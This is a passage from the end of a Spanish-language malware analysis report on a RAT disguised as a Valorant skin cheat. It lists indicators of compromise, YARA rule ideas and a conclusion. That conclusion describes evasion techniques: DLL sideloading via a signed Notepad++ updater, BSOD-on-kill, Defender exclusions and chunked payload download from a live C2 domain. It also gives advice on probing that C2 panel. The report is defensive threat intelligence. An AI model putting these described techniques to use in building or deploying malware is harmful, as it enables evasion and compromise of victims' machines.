Respuesta anti-sondeo: &#34;Access denied&#34; a User-Agents genericos</code></pre>
<h3 id="ficheros-sha-256">Ficheros (SHA-256)</h3>






<pre tabindex="0"><code>eaac64c113ebaba1fae924ad1b6239a44c8806bf2b85d8dc11a27ad65a981cc1  Client.exe (GUP legitimo, lanzador)
1aa245a0526450a76bfa127eddc986ff3c53b6bfb624787ea3f1a62f97672783  libcurl.dll (stage-1 malicioso)
a4cd739574d897c9620a1f33e1678c4a3bd481610d4790757a3684b3e1a608d9  RuntimeBrokerA (stage-2 descifrado)
84ffd8dcf2efd4dc9d01663fa8aacc9c36564ae0fae288a93fcb42ccda14a32f  NvMessageBus.dll (señuelo)</code></pre>
<h3 id="host">Host</h3>






<pre tabindex="0"><code>Fichero:   C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe
Mutex:     Global\RuntimeBrokerAdsA
Registro:  Software\WinRAR\Libs (almacén de fragmentos descargados)
Tareas:    SvcRestartTaskWindowsLoginsA · ProgramDataUpdateA · ScheduledDefA ·
           MicrosoftUpdaterMachineCoreA (con BootTrigger / TimeRepetition)
Rutas excluidas de Defender:
           %TEMP% · C:\ProgramData · C:\ProgramData\Windows\Microsoft · C:\ProgramData\Microsoft\Windows
Marcadores del autor (en stage-1 y stage-2): 32a2df2d992b · cd5d20d266d4ffff</code></pre>
<h3 id="yara-ideas-de-reglas">YARA (ideas de reglas)</h3>
<ul>
<li><code>libcurl.dll</code> con un único import de KERNEL32 y exportes curl.</li>
<li>PE firmado por Notepad++ ejecutándose fuera de <code>\Notepad++\updater\</code> (ya existe regla Sigma).</li>
<li>Proceso <code>cmd.exe</code> con padre <code>RuntimeBrokerA.exe</code> en <code>C:\ProgramData\Windows\Microsoft\</code>.</li>
<li>La constante <code>ROR8+i*13+0xA3</code> aplicada por byte (firma del cifrador de cadenas del actor).</li>
<li>Tarea programada <code>SvcRestartTaskWindowsLoginsA</code> en <code>\Microsoft\Windows\SoftwareProtectionPlatform</code>.</li>
</ul>
<hr>
<h2 id="15-conclusión">15. Conclusión</h2>
<p><strong>La muestra es un RAT profesional y privado disfrazado de producto de «cheat» para Valorant.</strong> Su autor conoce bien el análisis de malware (capas de cifrado a medida, cadenas en TLS, ofuscación MBA, señuelos, fragmentación de payloads, filtro anti-sondeo en el panel) y conoce igualmente bien a su público: las víctimas son jugadores que buscan skins gratis, un nicho con alta disposición a ejecutar cosas dudosas como administrador y a desactivar su antivirus si se les pide.</p>
<p>Tres decisiones de diseño destacan sobre el resto:</p>
<ol>
<li><strong>Usar el binario firmado de otra empresa como lanzador</strong> (GUP de Notepad++) le otorga al stage-1 la reputación criptográfica de un editor legítimo y una técnica (DLL sideloading) que los antivirus tradicionales siguen tratando mal.</li>
<li><strong>Provocar un pantallazo azul si lo investigan o lo matan</strong> (<code>RtlSetProcessIsCritical</code> + <code>NtRaiseHardError</code>) transforma la limpieza manual en un castigo y el análisis dinámico en algo incómodo: un comportamiento más propio de malware de estado que de un loader de escena gamer.</li>
<li><strong>No embeber el payload final.</strong> El RAT es solo la puerta: el producto peligroso se descarga por chunks desde <code>mops.to</code> cuando el operador lo ordena. Por eso, un análisis estático de este paquete nunca mostrará robo de credenciales: la capacidad real depende de lo que el panel sirva en cada momento, y el panel sigue vivo y filtrando (<code>Access denied</code>).</li>
</ol>
<p>Desde el punto de vista del análisis, la muestra quedó completamente revertida: las tres capas de cifrado están rotas, el stage-2 final está extraído como PE analizable, el protocolo C2 está documentado al nivel de mensaje, las capacidades están enumeradas y la infraestructura está identificada y fechada (dominio registrado dos semanas antes del build, ajustado el mismo día del empaquetado). La cronología de artefactos (props de septiembre, build del 2 de octubre) junto con los marcadores internos comunes a ambos stages retratan a un actor con una operación cuidada y planificada, distribuyendo variantes del mismo motor bajo distintas marcas de «skin changer».</p>
<p><strong>Lo que la muestra no contiene es igual de revelador</strong>: ni tokens, ni webhooks, ni claves de servicios de terceros. Todo pasa por su propia infraestructura. Para la víctima, la consecuencia práctica es que el daño real (lo que se ejecute vía <code>createtask</code>) es desconocido y variable; para el investigador, que el siguiente paso natural es el registro pasivo de <code>mops.to</code> y, si se decide sondear el endpoint <code>/task/</code>, hacerlo con la réplica exacta del User-Agent del bot y desde infraestructura desechable, sabiendo que el panel filtra y registra.</p>
<p><em>Fin del informe.</em></p>
]]></content:encoded></item></channel></rss>